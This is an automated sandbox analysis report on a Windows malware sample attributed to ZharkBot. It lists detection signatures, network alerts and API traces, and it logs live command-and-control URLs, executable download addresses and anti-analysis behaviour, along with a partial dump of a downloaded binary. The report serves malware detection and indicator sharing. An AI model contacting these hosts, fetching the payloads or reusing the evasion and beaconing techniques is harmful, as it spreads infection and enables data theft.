popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

stub.exe

Generic Malware Malicious Library Antivirus UPX PE File PE64 OS Processor Check PE32 .NET EXE
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 17, 2024, 10:11 p.m. Aug. 17, 2024, 10:20 p.m.
Size 326.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 f48972736d07992d0cfd2b8bc7972e27
SHA256 56d97e9f42ee5b7efdbfcd7d56da50e752fb08599f3422ee0cc9b697a92e56da
CRC32 88A0EB7A
ssdeep 6144:eyrVs12rjxDPCle3vOYL5q1e0eBEpw2ePRflnm3QBbLVKnzf16Ja2PBipAxWn7jT:eyrVsmjxDPCXfEJaUBipAxKbxLOKP2m
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Generic_Malware_Zero - Generic Malware
  • UPX_Zero - UPX packed file
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
garageserviceoperation.com
A 104.21.69.3
A 172.67.202.34
172.67.202.34
solutionhub.cc
A 172.67.128.126
A 104.21.2.10
172.67.128.126
IP Address Status Action
164.124.101.2 Active Moloch
172.67.128.126 Active Moloch
172.67.202.34 Active Moloch
185.216.214.225 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49161 -> 172.67.202.34:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.101:54148 -> 164.124.101.2:53 2054416 ET MALWARE ZharkBot CnC Domain in DNS Lookup (solutionhub .cc) A Network Trojan was detected
UDP 192.168.56.101:54148 -> 164.124.101.2:53 2027758 ET DNS Query for .cc TLD Potentially Bad Traffic
TCP 192.168.56.101:49163 -> 172.67.128.126:443 2054418 ET MALWARE Observed ZharkBot Domain (solutionhub .cc in TLS SNI) A Network Trojan was detected
TCP 192.168.56.101:49163 -> 172.67.128.126:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49164 -> 185.216.214.225:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.101:49164 -> 185.216.214.225:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.101:49165 -> 172.67.202.34:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 185.216.214.225:80 -> 192.168.56.101:49164 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.216.214.225:80 -> 192.168.56.101:49164 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 185.216.214.225:80 -> 192.168.56.101:49164 2015745 ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) Misc activity
TCP 192.168.56.101:49164 -> 185.216.214.225:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.101:49164 -> 185.216.214.225:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.216.214.225:80 -> 192.168.56.101:49164 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49161
172.67.202.34:443 		C=US, O=Google Trust Services, CN=WE1 CN=garageserviceoperation.com 9f:3e:b4:17:d0:54:94:2b:eb:35:8b:e9:ac:dd:e0:db:91:a5:35:e4
TLSv1
192.168.56.101:49163
172.67.128.126:443 		C=US, O=Google Trust Services, CN=WE1 CN=solutionhub.cc a6:65:a4:77:51:a8:ca:dc:be:0c:0f:5b:5e:b4:fc:d4:cf:fb:24:09
TLSv1
192.168.56.101:49165
172.67.202.34:443 		C=US, O=Google Trust Services, CN=WE1 CN=garageserviceoperation.com 9f:3e:b4:17:d0:54:94:2b:eb:35:8b:e9:ac:dd:e0:db:91:a5:35:e4

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000022ae3f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000022ae460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000022ae460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000746f50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 8
1 1 0

CryptExportKey

 buffer: f é@ÝBݸRä몪z9!¸QƒE^âa³
crypto_handle: 0x0000000000746f50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 8
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000746e70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000746e70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000746e70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
0x7fe94139df3
0x7fe94139c84
0x7fe94139906
0x7fe941391ee
0x7fe94138f5a
0x7fe94138eee
0x7fe93fcf046
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef363f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef363f242
StrongNameTokenFromPublicKey+0x50f2 SetRuntimeInfo-0x3684e clr+0x9b042 @ 0x7fef368b042
StrongNameTokenFromPublicKey+0x4e33 SetRuntimeInfo-0x36b0d clr+0x9ad83 @ 0x7fef368ad83
mscorlib+0x563c95 @ 0x7fef25d3c95
mscorlib+0x4fda7a @ 0x7fef256da7a
0x7fe93fa034c
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef363f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef363f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef363f30b
_CorExeMain+0x335c ClrCreateManagedInstance-0x15ae4 clr+0x1e721c @ 0x7fef37d721c
_CorExeMain+0x3ab6 ClrCreateManagedInstance-0x1538a clr+0x1e7976 @ 0x7fef37d7976
_CorExeMain+0x39b0 ClrCreateManagedInstance-0x15490 clr+0x1e7870 @ 0x7fef37d7870
_CorExeMain+0x3526 ClrCreateManagedInstance-0x1591a clr+0x1e73e6 @ 0x7fef37d73e6
_CorExeMain+0x347e ClrCreateManagedInstance-0x159c2 clr+0x1e733e @ 0x7fef37d733e
_CorExeMain+0x14 ClrCreateManagedInstance-0x18e2c clr+0x1e3ed4 @ 0x7fef37d3ed4
_CorExeMain+0x5d CLRCreateInstance-0x2bd3 mscoreei+0x74e5 @ 0x7fef4e874e5
_CorExeMain+0x69 ND_RU1-0x1707 mscoree+0x5b21 @ 0x7fef4f25b21
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

exception.instruction_r: 49 8b 03 48 8b 50 40 49 8b cb ff 12 48 89 45 28
exception.instruction: mov rax, qword ptr [r11]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe94139df3
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8791524843352
registers.rbx: 0
registers.rsp: 5242400
registers.r11: 0
registers.r8: 0
registers.r9: 8791570546832
registers.rdx: 195
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://185.216.214.225/freedom.exe
suspicious_features Connection to IP address suspicious_request GET http://185.216.214.225/Jhiidutz.exe
request GET http://185.216.214.225/freedom.exe
request GET http://185.216.214.225/Jhiidutz.exe
request GET https://garageserviceoperation.com/socket/?serviceCheckup
request GET https://solutionhub.cc/socket/?serviceCheckup
request GET https://garageserviceoperation.com/socket/?id=5BCCD56859158D5509DEF6EE93BD1D99E583188F0C221CF3349EDF15382DB8F4&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=2DC8936D5355B11500CDF4E3BCD138B5AFFC62
request GET https://garageserviceoperation.com/socket/?id=5BCCD56859158D5509DEF6EE93BD1D99E583188F0C221CF3349EDF15382DB8F4&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=2DC8936D5355B11500CDF4E3BCD138B5AFFC62&tsk=5F9ADE
request GET https://garageserviceoperation.com/socket/?id=5BCCD56859158D5509DEF6EE93BD1D99E583188F0C221CF3349EDF15382DB8F4&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=2DC8936D5355B11500CDF4E3BCD138B5AFFC62&tsk=5F9ADF
domain solutionhub.cc description Cocos Islands domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000900000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3c8b000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002270000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2748
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef35f4000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e6a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e7c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e7a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e6b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e8b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e62000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ebc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e8d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93fd0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e7d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f93000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f95000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f96000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93f97000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e7b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2748
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93e6c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description stub.exe tried to sleep 120 seconds, actually delayed analysis time by 120 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13324574720
free_bytes_available: 13324574720
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0
file C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
file C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
file C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
file C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BaseBoard
wmi SELECT * FROM Win32_DiskDrive
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¦=´fà  n.  @ à@…܌O ÎÀ  H.text4m n `.rsrcΠp@@.reloc Àv@BH”gH%&( *rp* ˜˜*( *rCp*¦s €s €s €s €*rgp* göh*rËp* râó*r/p* õ¡¾*r“p* *p{*r÷p* Üâ?*(( *r‰p* ðß¿*ríp* SÝ*Â(+-(,,+(-,+(*,+(),(Z *"(Ë+*"(+*&(9&+*î+5sk ¸ 'ol (, ~- (b(T~om &-È*ra p* Ò*rÅ p* ”y4*r) p* E/*r p*rñ p*rU p*r¹ p* îÍ'*r p* „+u*r p* D·*rå p* ú³é*rIp* 9*r­p*rp*rup* {­°*rÙp* ü–J*j€€€sn €€~ €*"(d+*:t(_+*rCp* €m*r§p* Æ =*r p* ¾\£*rop* ‹¥ *rÓp* Æ(T*r7p*r›p*rÿp*rcp*rÇp* mÔ`*r+p* ‘wt*rp* MO¸*róp*rWp*r»p* êó*r`p* µr*rp* ^û*rªp* žM^*rOp* n‡*rôp* ˆ*r™p* zʨ*B~(" €!*:(- (—+*:(- (˜+*rb p*r!p* ·O*r¬!p* ¨Wª*rQ"p* Ь *rö"p*r›#p*r@$p* x!*rå$p*rŠ%p* ¤m*r/&p*rÔ&p* X×à*ry'p* áçe*r(p* Ó ð*rÃ(p* ‹*rh)p*r *p* ¸š¨*ra,p* ~¿H*r-p* ·*ŽþÍsÿ€+~  €, €-*V~+(Ì€,(  *ro/p*r0p* =Uš*r¹0p*r^1p* Y m*r2p*rŒ2p* ×Ý*r3p*rž3p* ¼Í*r'4p* 7_ª*r°4p* ·*r95p* õ q*rÂ5p* vž’*rK6p* Jþ*rÔ6p*r]7p*ræ7p* Ïà«*ro8p* \=*rø8p* –lÂ*ºr9ps €.rÏ9ps €/r:ps €0*.s( *r3:p*r¼:p* 1T‹*62ý( *rE;p* óœ+*rÎ;p* v¨Š*:(  }3+*:{4(! +*rW<p* ì+<*.( €5*’(" o# ~2( &o# ( &*(#*rJ=p*rÓ=p* T—*r\>p* ªJS*rå>p*rn?p* _‰E*r÷?p* ¦£«*r€@p* ­ºi*b~A,~AoT €A*r8Dp*rÁDp* Mú*rJEp*rÓEp*r\Fp*råFp* äÃ*rnGp*r÷Gp* RTÞ*rÀHp*r‰Ip*rRJp*rKp*räKp*r­Lp*rvMp* €|´*r?Np* sÉÅ*rOp* h“ò*rÑOp*ršPp*rcQp* ¼ *r,Rp*rõRp*r¾Sp* Ë÷W*r‡Tp*rPUp* 6ˆ*rVp*râVp*0~o +*0~o +*0~o +*0~o! +*0(" (# +*0 ($ +*0Ð(% +*0 (& +*0 Œ- (+ ++ +*0 þ*0 ~) Œ- (+€) ~) +*0™r[p€rµp€rçp€ rp€ %€ rKp€ r}p€ r¯p€ráp€rp€r5p(* r?p(+ €rQp€rÔp€rWp€*0 6 ~  èØ(, ~(/(- €~(/(- €~ (/(- € ~ (/(- € ~ (/(- € ~ (/(- € ~(/(- (. €~(/(- €~(/(- €~(/(- €~(/(- €Þ%(/ (0 (1 Þ(I-(0 ((Þ%(/ (1 Þ('~rQp~(2 s3 o4 o5 (- (6 - (- (7 &(8 ,s3 o9 è(, ~:(: (; Þ%(/ (1 ÞrUps<   o= (Y(> ,F 6rop¢~(? ¢rËp¢¢rÛp¢(@ oA +D 6rßp¢~(? ¢rËp¢¢rÛp¢(@ oA  (B oC Þ%(/  (1 Þ(oD oE r#poF ~(? oG Þ%(/  (1 Þ(H rQp~(? 